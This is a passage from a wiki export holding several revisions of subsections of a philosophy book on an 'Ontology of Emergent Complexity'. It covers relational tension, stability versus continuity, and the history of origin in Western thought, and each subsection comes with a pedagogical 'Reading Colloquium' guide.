particularly in ''Le visible et l’invisible'' (''Merleau-Ponty, 1964, p. 138''), where it is argued that the body is not a static given, but is constituted as a sensitive locus as it inscribes itself into relation with the visible. Likewise, in the Ontology of Emergent Complexity, the matter that symbolizes does not preexist as a structure, but constitutes itself as symbolic function through the act of inscription. Secondly, with the critical epistemology of Michel Foucault, especially in ''L’Archéologie du savoir'' (''Foucault, 1969, p. 132''), where knowledge is not representation, but the symbolic reorganization of material data that only becomes legible through inscription. The Ontology of Complexity extends this epistemological gesture to the ontological level: what is symbolized is not constructed, but reorganized — and it is through this act that symbolic difference emerges, situated and functional. Against the logic of networks, which presupposes discrete units and external connections, the Ontology of Complexity affirms that relation precedes individuation. A system does not exist first and then relate — it only exists to the extent that it modulates itself in the face of other instabilities. Here, relation is not an addition: it is a condition of existence. This principle displaces classical metaphors of communication and exchange. In Glissant, relation is not connection, but tremor — a vibratory excess that destabilizes all identity (''Glissant, 1990, p. 56''). In Deleuze, relation is not an attribute of terms, but the very production of difference through immanent variation (''Deleuze, 1968, p. 72''). The Ontology of Complexity takes up these formulations and radicalizes them: relation does not merely affect what already exists — it composes existence through local symbolic reorganization, in response to a material difference that exceeds it. It is not a matter of unresolved tension in a general sense, but of operative emergence that establishes a situated link between matter and inscription. From this, decisive implications arise for thinking about systems, knowledge, and politics. There is no relational equilibrium, only metastable persistence. What appears as coherence is a transitory effect of operative negotiation. Material systems — biological, technical, or symbolic — endure not by resolving difference, but by iterating their internal capacity to reformulate under tension. The Ontology of Emergent Complexity thus replaces the paradigm of structural equilibrium with that of relational excess. What sustains a system is not its balance, but its ability to remain exposed to what exceeds it. Seen in this light, complexity is not a form of integration, but a threshold of symbolic relation. The real is not sustained by closure, but by constant exposure to what exceeds it. Relation is the name for this operative exposure that does not collapse — that holds just long enough to reorganize itself again through the functional inscription of the material difference it receives. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection develops relational tension as an ontological principle. Relation is primary in a precise sense: material configurations do not first exist as self-sufficient things and only afterwards acquire connections. They become determinate through the relations that compose, constrain, and maintain them. This claim concerns the organisation of matter; it does not replace matter with an immaterial relational substrate. === 2. Philosophical Problem at Stake === The problem is the classical assumption that relations presuppose fully constituted relata. The section displaces that order: relatively stable relata arise within material configurations and remain dependent on them. Differential pressures and asymmetries make reorganisation possible, but they should not be confused with its motor. Emergence occurs when operative possibilities exceed the organisation that presently contains them. === 3. Core Thesis and Conceptual Reorganisation === The thesis is that material relation is ontologically prior to the self-sufficient thing. What appears as an isolated entity is a relatively stable configuration whose relations have been selectively bounded for analysis. The displacement concerns substance ontology: persistence no longer requires an invariant core beneath change. === 4. Key Concepts and Their Articulation === Relational tension names the instability internal to material relations. The primacy of relation prevents the relata from being treated as self-sufficient substances. Differential pressure identifies asymmetries within the field, while operative excess names the condition that forces a present organisation to reorganise. === 5. Implications for Readers and Pedagogical Pathways === This is one of the most ontologically radical claims in the book. Readers should test it against their intuitions: does it make sense to say that a table, an organism, or a person is constituted by relations rather than being a thing that enters into relations? The framework's answer is yes — but the argument requires a reconception of what "matter" and "thing" mean. {{BookCat}} 8s4nsr9hnrtepnkzvhepk87h35pdar3 4670831 4670802 2026-09-18T02:01:26Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670831 wikitext text/x-wiki '''3.1.2 - Relational Tension as Ontological Principle''' Before anything else, a distinction must be made: in the physical universe, there are countless forms of material organization that are not symbolic — from the formation of galaxies and solar systems through gravitational action to the configuration of magnetic fields. These structures result from fundamental forces and organize matter according to stable principles, but they do not operate through inscription or internal codified reorganisation. Still, these non-symbolic organizations only become intelligible when they are included within a symbolic regime of inscription — that is, they can only be known and understood when integrated by a system capable of symbolizing that organization. The recognition of gravitational forces, for example, depends on the constitution of a symbolic regime that interprets, models, and reinscribes them. The Ontology of Emergent Complexity acknowledges two distinct regimes of organization: on one hand, non-symbolic material organizations, such as those resulting from physical forces (gravity, electromagnetism, magnetic fields); on the other, symbolic relations, which emerge only when a portion of matter acquires the capacity to inscribe and reorganize functional differences. In this sense, the concept of “relation” is reserved — in the strong sense — for this second regime: not as a negation of previous forms of organization, but as the qualitative emergence of a new plane of symbolic consistency. In this framework, relation is not a link between pre-given terms, nor a bridge that connects predefined substances. In the Ontology of Emergent Complexity, relation is not a connection between prior forms, but a critical zone of reorganisation, where what is sometimes conceived as “fields” should be understood only as external material dispositions that acquire relational meaning only when symbolically reorganized. No field is presupposed as a prior structure or generative instance: what exists is a situated interaction between matter that symbolizes and matter that is symbolized, without any spatial or structural presupposition of an ontological field. What relates does not preexist the relation: it is local instability itself that reshapes each consistency so that it reorganizes — without plan, symmetry, or return. When it comes to symbolic relation — as in the case where a portion of matter begins to function as the support for the inscription of another — the link is not established between stable entities, but between asymmetrical conditions of material organization. The symbolized already exists materially before the relation: it is its external configuration that makes symbolic inscription possible. The matter that symbolizes, however, does not preexist as a constituted structure — it is through the act of inscription that matter acquires symbolic function, reorganizing itself to perform this role. Symbolic inscription, then, always implies the creation of a new material structure in response to an external organization that precedes it. Symbolic relation emerges only when a system acquires the capacity to functionally inscribe that exteriority, reorganizing itself in response. Thus, symbolic inscription does not invent what is symbolized, but differentially organizes what is already materially present. This relation is always local, finite, and irreversible — it does not arise from transcendent logic or a universal representational regime. The symbol, in this context, is not a bridge between worlds, but a provisional reorganisation of matter under a regime of functional difference. This formulation opens two decisive philosophical dialogues. First, with the genetic phenomenology of Merleau-Ponty, particularly in ''Le visible et l’invisible'' (''Merleau-Ponty, 1964, p. 138''), where it is argued that the body is not a static given, but is constituted as a sensitive locus as it inscribes itself into relation with the visible. Likewise, in the Ontology of Emergent Complexity, the matter that symbolizes does not preexist as a structure, but constitutes itself as symbolic function through the act of inscription. Secondly, with the critical epistemology of Michel Foucault, especially in ''L’Archéologie du savoir'' (''Foucault, 1969, p. 132''), where knowledge is not representation, but the symbolic reorganisation of material data that only becomes legible through inscription. The Ontology of Complexity extends this epistemological gesture to the ontological level: what is symbolized is not constructed, but reorganized — and it is through this act that symbolic difference emerges, situated and functional. Against the logic of networks, which presupposes discrete units and external connections, the Ontology of Complexity affirms that relation precedes individuation. A system does not exist first and then relate — it only exists to the extent that it modulates itself in the face of other instabilities. Here, relation is not an addition: it is a condition of existence. This principle displaces classical metaphors of communication and exchange. In Glissant, relation is not connection, but tremor — a vibratory excess that destabilizes all identity (''Glissant, 1990, p. 56''). In Deleuze, relation is not an attribute of terms, but the very production of difference through immanent variation (''Deleuze, 1968, p. 72''). The Ontology of Complexity takes up these formulations and radicalizes them: relation does not merely affect what already exists — it composes existence through local symbolic reorganisation, in response to a material difference that exceeds it. It is not a matter of unresolved tension in a general sense, but of operative emergence that establishes a situated link between matter and inscription. From this, decisive implications arise for thinking about systems, knowledge, and politics. There is no relational equilibrium, only metastable persistence. What appears as coherence is a transitory effect of operative negotiation. Material systems — biological, technical, or symbolic — endure not by resolving difference, but by iterating their internal capacity to reformulate under tension. The Ontology of Emergent Complexity thus replaces the paradigm of structural equilibrium with that of relational excess. What sustains a system is not its balance, but its ability to remain exposed to what exceeds it. Seen in this light, complexity is not a form of integration, but a threshold of symbolic relation. The real is not sustained by closure, but by constant exposure to what exceeds it. Relation is the name for this operative exposure that does not collapse — that holds just long enough to reorganize itself again through the functional inscription of the material difference it receives. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection develops relational tension as an ontological principle. Relation is primary in a precise sense: material configurations do not first exist as self-sufficient things and only afterwards acquire connections. They become determinate through the relations that compose, constrain, and maintain them. This claim concerns the organisation of matter; it does not replace matter with an immaterial relational substrate. === 2. Philosophical Problem at Stake === The problem is the classical assumption that relations presuppose fully constituted relata. The section displaces that order: relatively stable relata arise within material configurations and remain dependent on them. Differential pressures and asymmetries make reorganisation possible, but they should not be confused with its motor. Emergence occurs when operative possibilities exceed the organisation that presently contains them. === 3. Core Thesis and Conceptual Reorganisation === The thesis is that material relation is ontologically prior to the self-sufficient thing. What appears as an isolated entity is a relatively stable configuration whose relations have been selectively bounded for analysis. The displacement concerns substance ontology: persistence no longer requires an invariant core beneath change. === 4. Key Concepts and Their Articulation === Relational tension names the instability internal to material relations. The primacy of relation prevents the relata from being treated as self-sufficient substances. Differential pressure identifies asymmetries within the field, while operative excess names the condition that forces a present organisation to reorganise. === 5. Implications for Readers and Pedagogical Pathways === This is one of the most ontologically radical claims in the book. Readers should test it against their intuitions: does it make sense to say that a table, an organism, or a person is constituted by relations rather than being a thing that enters into relations? The framework's answer is yes — but the argument requires a reconception of what "matter" and "thing" mean. {{BookCat}} o4fc4rfko407unu0n4got6b55q2nc9x 0 476968 4670732 4670245 2026-09-17T23:40:33Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670732 wikitext text/x-wiki == 3.1.3 - Stability Is Not Continuity == Stability is not continuity: this distinction founds a new ontological reading of what it means to persist in the real. Whereas continuity repeats a form, stability reorganizes a function. The Ontology of Emergent Complexity (OEC) begins from this operational difference to reformulate the sense of permanence: what persists, persists because it functionally modulates itself in response to excess, not because it reproduces a formal identity. Continuity is morphological repetition; stability, by contrast, is operative responsiveness in the face of asymmetry. In the OEC, the symbolic designates a materially situated operation that inscribes internal differences recursively, reorganizing the structure based on a difference that is external to it but co-constitutive. It is not merely a function of codification, but of operative interpretation, through which the structure becomes capable of reorganizing itself in response to the difference that traverses and reconfigures it. This is what is found in (Simondon, 2005, p. 35). In (Deleuze & Guattari, 1980, p. 43), the insistence on differential inscription can be reappropriated as a material gesture of non-coded articulation, provided one rejects the idea of a plane of consistency indifferent to the relation between that which symbolizes and that which is symbolized. This definition is operative: there is no symbolization without internal interpretative function. The OEC thus rigorously distinguishes materially self-regulated systems from symbolically self-inscribed systems. And it sets a fundamental principle: symbolic reorganization does not result from fracture or failure, but from an operative excess that reconfigures the form. Failure is merely a symptom of what has ceased to operate, not the cause of reorganization. There is no founding negativity. There is a proliferation of relations, from which transient forms of stability emerge. This stability may manifest in various regimes of organization. In non-symbolic material systems — such as elementary physical, chemical, or biological systems — persistence occurs through functional or structural organization, without internal interpretation. In symbolic systems — such as language, DNA, or technical inscription devices — stability manifests as a capacity for recursive modulation in response to difference. The OEC insists: not every reorganization is symbolic. The symbolic is an active exception. The universe does not depend on human consciousness to reorganize itself. The human is merely a local node of material reconfiguration. The distinction becomes clear, for instance, in the phenomenon of homeostasis. In living systems, to maintain oneself means to adjust, not to preserve identity. Homeostatic stability results from non-symbolic functional modulation, in which living matter reorganizes internal equilibria in response to variations. There is no identity preserved, but persistence through successive adaptation (Morin, 1980, p. 274). Symbolization only occurs when there is codified inscription and interpretation of difference. A parallel example is found in evolutionary technical systems, such as machine learning networks subjected to algorithmic mutations. In these cases, the stability of a computational structure depends on its capacity to reorganize itself in response to unexpected data. But not all adaptation is symbolic. An AI that adjusts weights in response to error merely recalibrates; it does not symbolize (Stiegler, 1998, p. 134). The symbolic only emerges when there is internal inscription of difference and capacity for operative modulation. At this point, a productive dialogue is established with Simondon: stability is the result of metastable individuation through internal resolution of incompatibilities (Simondon, 2005, p. 215). The OEC accepts this plasticity but rejects the pre-individual field as a common origin: it instead proposes the material asymmetry between that which symbolizes and that which is symbolized. Canguilhem’s reading is also invoked: the normal is not statistical regularity, but normative capacity in the face of the unforeseen (Canguilhem, 1966, p. 92). The OEC radicalizes this: persistence is only possible as operative symbolic reorganization. Against Prigogine, who sees instability as a creative origin in thermodynamic chaos (Prigogine & Stengers, 1984, p. 10), the OEC asserts that it is not collapse that generates the new, but the excess of operative combinations. Against Latour, who distributes agency across technical networks (Latour, 2005, p. 12), the OEC reserves symbolic status only for recursive self-inscription. Against Harman, who centers ontology on the identity of objects (Harman, 2011, p. 5), the OEC rejects stability as essence. And against Haraway, whose symbiogenesis still presupposes ecosystems in functional cooperation (Haraway, 2016, p. 45), the OEC proposes a materially decentered symbiogenesis, governed by asymmetry and symbolic reorganization. Thus, stability is not the negation of change, but the transient mode of its inscription. To persist is not to resist difference: it is to reorganize oneself continuously with it, through it, by it. To persist is not to repeat. It is to reorganize oneself continuously under the weight of what cannot yet be named. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} __INDEX__ __NEWSECTIONLINK__ d5xc43hwxfq9n1n98q7ckai31zgy15s 4670803 4670732 2026-09-18T01:50:51Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670803 wikitext text/x-wiki == 3.1.3 - Stability Is Not Continuity == Stability is not continuity: this distinction founds a new ontological reading of what it means to persist in the real. Whereas continuity repeats a form, stability reorganizes a function. The Ontology of Emergent Complexity (OEC) begins from this operational difference to reformulate the sense of permanence: what persists, persists because it functionally modulates itself in response to excess, not because it reproduces a formal identity. Continuity is morphological repetition; stability, by contrast, is operative responsiveness in the face of asymmetry. In the OEC, the symbolic designates a materially situated operation that inscribes internal differences recursively, reorganizing the structure based on a difference that is external to it but co-constitutive. It is not merely a function of codification, but of operative interpretation, through which the structure becomes capable of reorganizing itself in response to the difference that traverses and reconfigures it. This is what is found in (Simondon, 2005, p. 35). In (Deleuze & Guattari, 1980, p. 43), the insistence on differential inscription can be reappropriated as a material gesture of non-coded articulation, provided one rejects the idea of a plane of consistency indifferent to the relation between that which symbolizes and that which is symbolized. This definition is operative: there is no symbolization without internal interpretative function. The OEC thus rigorously distinguishes materially self-regulated systems from symbolically self-inscribed systems. And it sets a fundamental principle: symbolic reorganization does not result from fracture or failure, but from an operative excess that reconfigures the form. Failure is merely a symptom of what has ceased to operate, not the cause of reorganization. There is no founding negativity. There is a proliferation of relations, from which transient forms of stability emerge. This stability may manifest in various regimes of organization. In non-symbolic material systems — such as elementary physical, chemical, or biological systems — persistence occurs through functional or structural organization, without internal interpretation. In symbolic systems — such as language, DNA, or technical inscription devices — stability manifests as a capacity for recursive modulation in response to difference. The OEC insists: not every reorganization is symbolic. The symbolic is an active exception. The universe does not depend on human consciousness to reorganize itself. The human is merely a local node of material reconfiguration. The distinction becomes clear, for instance, in the phenomenon of homeostasis. In living systems, to maintain oneself means to adjust, not to preserve identity. Homeostatic stability results from non-symbolic functional modulation, in which living matter reorganizes internal equilibria in response to variations. There is no identity preserved, but persistence through successive adaptation (Morin, 1980, p. 274). Symbolization only occurs when there is codified inscription and interpretation of difference. A parallel example is found in evolutionary technical systems, such as machine learning networks subjected to algorithmic mutations. In these cases, the stability of a computational structure depends on its capacity to reorganize itself in response to unexpected data. But not all adaptation is symbolic. An AI that adjusts weights in response to error merely recalibrates; it does not symbolize (Stiegler, 1998, p. 134). The symbolic only emerges when there is internal inscription of difference and capacity for operative modulation. At this point, a productive dialogue is established with Simondon: stability is the result of metastable individuation through internal resolution of incompatibilities (Simondon, 2005, p. 215). The OEC accepts this plasticity but rejects the pre-individual field as a common origin: it instead proposes the material asymmetry between that which symbolizes and that which is symbolized. Canguilhem’s reading is also invoked: the normal is not statistical regularity, but normative capacity in the face of the unforeseen (Canguilhem, 1966, p. 92). The OEC radicalizes this: persistence is only possible as operative symbolic reorganization. Against Prigogine, who sees instability as a creative origin in thermodynamic chaos (Prigogine & Stengers, 1984, p. 10), the OEC asserts that it is not collapse that generates the new, but the excess of operative combinations. Against Latour, who distributes agency across technical networks (Latour, 2005, p. 12), the OEC reserves symbolic status only for recursive self-inscription. Against Harman, who centers ontology on the identity of objects (Harman, 2011, p. 5), the OEC rejects stability as essence. And against Haraway, whose symbiogenesis still presupposes ecosystems in functional cooperation (Haraway, 2016, p. 45), the OEC proposes a materially decentered symbiogenesis, governed by asymmetry and symbolic reorganization. Thus, stability is not the negation of change, but the transient mode of its inscription. To persist is not to resist difference: it is to reorganize oneself continuously with it, through it, by it. To persist is not to repeat. It is to reorganize oneself continuously under the weight of what cannot yet be named. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection completes §3.1 by addressing the concept of stability. It argues that stability is not the opposite of instability but a specific regime within it — a local, provisional, and materially sustained pattern that persists for a time but does not escape the field's constitutive instability. === 2. Philosophical Problem at Stake === The problem is the deep-seated assumption that stability equals continuity — that what is stable is what persists unchanged through time. The framework rejects this equation: stability, in its framework, is always dynamic, always requiring material inputs to sustain it, and always vulnerable to the perturbations of the field. === 3. Core Thesis and Conceptual Reorganisation === The thesis is that stability is an achievement, not a given. Every stable configuration — from an atom to an institution — persists only because the functional couplings that sustain it are continuously maintained. When those couplings are disrupted, the configuration dissolves. Stability is therefore a form of instability that has been temporarily constrained, not its opposite. === 4. Key Concepts and Their Articulation === Stability as dynamic achievement, the distinction between stability and continuity, the concept of functional coupling as the mechanism of persistence, and the vulnerability of all stable configurations to the field's operative excess. === 5. Implications for Readers and Pedagogical Pathways === This subsection prepares the ground for the analysis of local order in §3.3. Readers should note the connection: if stability is an achievement rather than a given, then order is a local effect rather than a cosmic principle. The implications extend to politics and ethics: institutions, norms, and social arrangements are all stable configurations that require continuous maintenance and that can be reorganised. {{BookCat}} __INDEX__ __NEWSECTIONLINK__ 2w1jve64ybyjvp327583teore3r3tgu 4670832 4670803 2026-09-18T02:01:30Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670832 wikitext text/x-wiki == 3.1.3 - Stability Is Not Continuity == Stability is not continuity: this distinction founds a new ontological reading of what it means to persist in the real. Whereas continuity repeats a form, stability reorganizes a function. The Ontology of Emergent Complexity (OEC) begins from this operational difference to reformulate the sense of permanence: what persists, persists because it functionally modulates itself in response to excess, not because it reproduces a formal identity. Continuity is morphological repetition; stability, by contrast, is operative responsiveness in the face of asymmetry. In the OEC, the symbolic designates a materially situated operation that inscribes internal differences recursively, reorganizing the structure based on a difference that is external to it but co-constitutive. It is not merely a function of codification, but of operative interpretation, through which the structure becomes capable of reorganizing itself in response to the difference that traverses and reconfigures it. This is what is found in (Simondon, 2005, p. 35). In (Deleuze & Guattari, 1980, p. 43), the insistence on differential inscription can be reappropriated as a material gesture of non-coded articulation, provided one rejects the idea of a plane of consistency indifferent to the relation between that which symbolizes and that which is symbolized. This definition is operative: there is no symbolization without internal interpretative function. The OEC thus rigorously distinguishes materially self-regulated systems from symbolically self-inscribed systems. And it sets a fundamental principle: symbolic reorganisation does not result from fracture or failure, but from an operative excess that reconfigures the form. Failure is merely a symptom of what has ceased to operate, not the cause of reorganisation. There is no founding negativity. There is a proliferation of relations, from which transient forms of stability emerge. This stability may manifest in various regimes of organization. In non-symbolic material systems — such as elementary physical, chemical, or biological systems — persistence occurs through functional or structural organization, without internal interpretation. In symbolic systems — such as language, DNA, or technical inscription devices — stability manifests as a capacity for recursive modulation in response to difference. The OEC insists: not every reorganisation is symbolic. The symbolic is an active exception. The universe does not depend on human consciousness to reorganize itself. The human is merely a local node of material reconfiguration. The distinction becomes clear, for instance, in the phenomenon of homeostasis. In living systems, to maintain oneself means to adjust, not to preserve identity. Homeostatic stability results from non-symbolic functional modulation, in which living matter reorganizes internal equilibria in response to variations. There is no identity preserved, but persistence through successive adaptation (Morin, 1980, p. 274). Symbolization only occurs when there is codified inscription and interpretation of difference. A parallel example is found in evolutionary technical systems, such as machine learning networks subjected to algorithmic mutations. In these cases, the stability of a computational structure depends on its capacity to reorganize itself in response to unexpected data. But not all adaptation is symbolic. An AI that adjusts weights in response to error merely recalibrates; it does not symbolize (Stiegler, 1998, p. 134). The symbolic only emerges when there is internal inscription of difference and capacity for operative modulation. At this point, a productive dialogue is established with Simondon: stability is the result of metastable individuation through internal resolution of incompatibilities (Simondon, 2005, p. 215). The OEC accepts this plasticity but rejects the pre-individual field as a common origin: it instead proposes the material asymmetry between that which symbolizes and that which is symbolized. Canguilhem’s reading is also invoked: the normal is not statistical regularity, but normative capacity in the face of the unforeseen (Canguilhem, 1966, p. 92). The OEC radicalizes this: persistence is only possible as operative symbolic reorganisation. Against Prigogine, who sees instability as a creative origin in thermodynamic chaos (Prigogine & Stengers, 1984, p. 10), the OEC asserts that it is not collapse that generates the new, but the excess of operative combinations. Against Latour, who distributes agency across technical networks (Latour, 2005, p. 12), the OEC reserves symbolic status only for recursive self-inscription. Against Harman, who centers ontology on the identity of objects (Harman, 2011, p. 5), the OEC rejects stability as essence. And against Haraway, whose symbiogenesis still presupposes ecosystems in functional cooperation (Haraway, 2016, p. 45), the OEC proposes a materially decentered symbiogenesis, governed by asymmetry and symbolic reorganisation. Thus, stability is not the negation of change, but the transient mode of its inscription. To persist is not to resist difference: it is to reorganize oneself continuously with it, through it, by it. To persist is not to repeat. It is to reorganize oneself continuously under the weight of what cannot yet be named. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection completes §3.1 by addressing the concept of stability. It argues that stability is not the opposite of instability but a specific regime within it — a local, provisional, and materially sustained pattern that persists for a time but does not escape the field's constitutive instability. === 2. Philosophical Problem at Stake === The problem is the deep-seated assumption that stability equals continuity — that what is stable is what persists unchanged through time. The framework rejects this equation: stability, in its framework, is always dynamic, always requiring material inputs to sustain it, and always vulnerable to the perturbations of the field. === 3. Core Thesis and Conceptual Reorganisation === The thesis is that stability is an achievement, not a given. Every stable configuration — from an atom to an institution — persists only because the functional couplings that sustain it are continuously maintained. When those couplings are disrupted, the configuration dissolves. Stability is therefore a form of instability that has been temporarily constrained, not its opposite. === 4. Key Concepts and Their Articulation === Stability as dynamic achievement, the distinction between stability and continuity, the concept of functional coupling as the mechanism of persistence, and the vulnerability of all stable configurations to the field's operative excess. === 5. Implications for Readers and Pedagogical Pathways === This subsection prepares the ground for the analysis of local order in §3.3. Readers should note the connection: if stability is an achievement rather than a given, then order is a local effect rather than a cosmic principle. The implications extend to politics and ethics: institutions, norms, and social arrangements are all stable configurations that require continuous maintenance and that can be reorganised. {{BookCat}} __INDEX__ __NEWSECTIONLINK__ nyyv2icd5n4gadqwt7593x4bs87p7hl 0 476971 4670733 4670247 2026-09-17T23:40:36Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670733 wikitext text/x-wiki == 3.2.1 - The Regime of Precedence == Western philosophy has never truly conceived of origin as an inaugural event without precedence. From the early Presocratics to modern continental thought, emergence has consistently been interpreted as consequence, rupture, derivation or transformation. Even its most critical strands have preserved the structure of succession: something begins because something lacked, fractured or ended; something emerges in response to absence or decay. In such paradigms, origin is never a gesture — it is always a structural effect, a retroactive inscription upon what is already given. This is not merely a matter of language — but one of philosophical architecture. In fleeing theological creation, philosophy fell back upon logical models that demand conditions. From ''archē'' to ''différance'', from the unmoved mover to sufficient reason, from dialectical negation to transcendental categories, thought has been governed by the compulsive need to justify beginning through derivation (Aristotle, 1984, p. 71; Leibniz, 1989, p. 210; Derrida, 1967, p. 41; Hegel, 2004, p. 179). No system ever affirmed emergence as that which neither follows nor reacts — but simply irrupts, without cause, without return. In classical ontology, origin is often substance or potentiality. Anaximander’s ''apeiron'' precedes everything as generative matrix (Kirk & Raven, 1957, p. 105); Heraclitus sees conflict generate unity (Freeman, 1949, p. 254); Plato grounds the visible in Ideas (Plato, ''Timaeus'', 1997, p. 41d); and even Aristotle, in secularizing ''archē'', posits an unmoved mover as final cause (Aristotle, 1984, p. 1072b). In all cases, origin is anterior, necessary, and superior — never emergence, always foundation. Modernity seemed poised to rupture this structure but, in fact, preserved it. Descartes sought the absolute ground of thought in the transparency of subjectivity (Descartes, 1996, p. 17); Leibniz formulated the principle of sufficient reason (Leibniz, 1989, p. 210); Kant, even while rejecting the metaphysics of the absolute, anchored knowledge in a priori forms that preceded experience (Kant, 1998, p. 154). Emergence remained tied to condition: a prior plan that organizes the possibility of what becomes. Even Hegel, who breaks with the idea of initial stability, grounds becoming in a negativity that demands reconciliation. Origin here is a conflict to be resolved, a dialectic to be completed — but still preceded by lack, indeterminacy, and rupture (Hegel, 2004, p. 179). The beginning remains an effect of absence, never a gesture of affirmation. In the twentieth century, displacement occurs, but the model persists. Freud sees trauma and repression as motors of psychic formation (Freud, 1920, p. 60); Heidegger grounds Being in a horizon of forgetfulness (Heidegger, 1996, p. 184); Derrida inscribes presence within absence (''différance'') (Derrida, 1967, p. 41); Nancy reads Being as shared but always already dissipated (Nancy, 1991, p. 39); Foucault analyzes subjects as effects of historical systems (Foucault, 1972, p. 63). Even in critique, the structure of anteriority remains — displaced, fractured, dispersed, but operative. There is always something prior: a loss, a field, a negativity. All these attempts fail where it matters most: none conceive emergence as that which does not follow. None accept that what begins does not succeed. Radical critique remains bound to the lost origin, the hidden structure, the founding absence. Emergence continues to be cast as synthesis, detour, deviation, flaw, delay — never as operativity without cause. What remains unthought in all these trajectories is the possibility that emergence does not follow. That it is neither delayed presence nor reconciled absence. Even where rupture is affirmed — as in Heidegger’s ''Ereignis'' (Heidegger, 1996, p. 248), Derrida’s ''différance'' (Derrida, 1967, p. 41), or Foucault’s discontinuity (Foucault, 1972, p. 141) — the structure of time remains sequential: something arrives only as deferred, displaced, fractured. In every instance, emergence is reabsorbed into a logic of aftermath, never affirmed as pure operativity without ground. The Ontology of Emergent Complexity breaks decisively with this model. It neither replaces absence with fullness nor structure with flux. It rejects the question of “where it came from” as a residue of metaphysical obsession. There is no primordial ground enabling emergence. There is only the local modulation of material thresholds — moments where existing forms fail to sustain the excess of operative combinations. What emerges does so not in response to a lack, but as a differential activation of unrealized potentials within matter itself. This is not a return to immanence nor an update of vitalism. The OEC affirms material heterogeneity that cannot be totalized or embedded in causal chains. Emergence is not contradiction’s resolution — it is the manifestation of operative asymmetry, where a system reorganizes itself not because it collapses, but because its previous form no longer suffices. There is no finality, no redemptive logic. The event does not repair or fulfill — it modulates. The philosophical cost of this position is high. It demands that we abandon the notion that reality must be intelligible by origin, and accept instead that intelligibility is a local effect of symbolic reorganization. Thought becomes operative not through revelation, but through modulation. It is not what uncovers what preceded, but what responds to what exceeds. In this ontology, origin gives way to threshold. No ''archē'', no cause, no rupture to explain emergence. Only the moment when matter begins to reconfigure itself — not because it remembers, lacks, or collapses, but because it persists beyond its previous form. Emergence is not the echo of what was lost. It is the vibration of what could not yet happen. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === --- ---- {{BookCat}} k1wzf8n4wdzcuyohyqnlhit1mudzj9l 4670804 4670733 2026-09-18T01:50:54Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670804 wikitext text/x-wiki == 3.2.1 - The Regime of Precedence == Western philosophy has never truly conceived of origin as an inaugural event without precedence. From the early Presocratics to modern continental thought, emergence has consistently been interpreted as consequence, rupture, derivation or transformation. Even its most critical strands have preserved the structure of succession: something begins because something lacked, fractured or ended; something emerges in response to absence or decay. In such paradigms, origin is never a gesture — it is always a structural effect, a retroactive inscription upon what is already given. This is not merely a matter of language — but one of philosophical architecture. In fleeing theological creation, philosophy fell back upon logical models that demand conditions. From ''archē'' to ''différance'', from the unmoved mover to sufficient reason, from dialectical negation to transcendental categories, thought has been governed by the compulsive need to justify beginning through derivation (Aristotle, 1984, p. 71; Leibniz, 1989, p. 210; Derrida, 1967, p. 41; Hegel, 2004, p. 179). No system ever affirmed emergence as that which neither follows nor reacts — but simply irrupts, without cause, without return. In classical ontology, origin is often substance or potentiality. Anaximander’s ''apeiron'' precedes everything as generative matrix (Kirk & Raven, 1957, p. 105); Heraclitus sees conflict generate unity (Freeman, 1949, p. 254); Plato grounds the visible in Ideas (Plato, ''Timaeus'', 1997, p. 41d); and even Aristotle, in secularizing ''archē'', posits an unmoved mover as final cause (Aristotle, 1984, p. 1072b). In all cases, origin is anterior, necessary, and superior — never emergence, always foundation. Modernity seemed poised to rupture this structure but, in fact, preserved it. Descartes sought the absolute ground of thought in the transparency of subjectivity (Descartes, 1996, p. 17); Leibniz formulated the principle of sufficient reason (Leibniz, 1989, p. 210); Kant, even while rejecting the metaphysics of the absolute, anchored knowledge in a priori forms that preceded experience (Kant, 1998, p. 154). Emergence remained tied to condition: a prior plan that organizes the possibility of what becomes. Even Hegel, who breaks with the idea of initial stability, grounds becoming in a negativity that demands reconciliation. Origin here is a conflict to be resolved, a dialectic to be completed — but still preceded by lack, indeterminacy, and rupture (Hegel, 2004, p. 179). The beginning remains an effect of absence, never a gesture of affirmation. In the twentieth century, displacement occurs, but the model persists. Freud sees trauma and repression as motors of psychic formation (Freud, 1920, p. 60); Heidegger grounds Being in a horizon of forgetfulness (Heidegger, 1996, p. 184); Derrida inscribes presence within absence (''différance'') (Derrida, 1967, p. 41); Nancy reads Being as shared but always already dissipated (Nancy, 1991, p. 39); Foucault analyzes subjects as effects of historical systems (Foucault, 1972, p. 63). Even in critique, the structure of anteriority remains — displaced, fractured, dispersed, but operative. There is always something prior: a loss, a field, a negativity. All these attempts fail where it matters most: none conceive emergence as that which does not follow. None accept that what begins does not succeed. Radical critique remains bound to the lost origin, the hidden structure, the founding absence. Emergence continues to be cast as synthesis, detour, deviation, flaw, delay — never as operativity without cause. What remains unthought in all these trajectories is the possibility that emergence does not follow. That it is neither delayed presence nor reconciled absence. Even where rupture is affirmed — as in Heidegger’s ''Ereignis'' (Heidegger, 1996, p. 248), Derrida’s ''différance'' (Derrida, 1967, p. 41), or Foucault’s discontinuity (Foucault, 1972, p. 141) — the structure of time remains sequential: 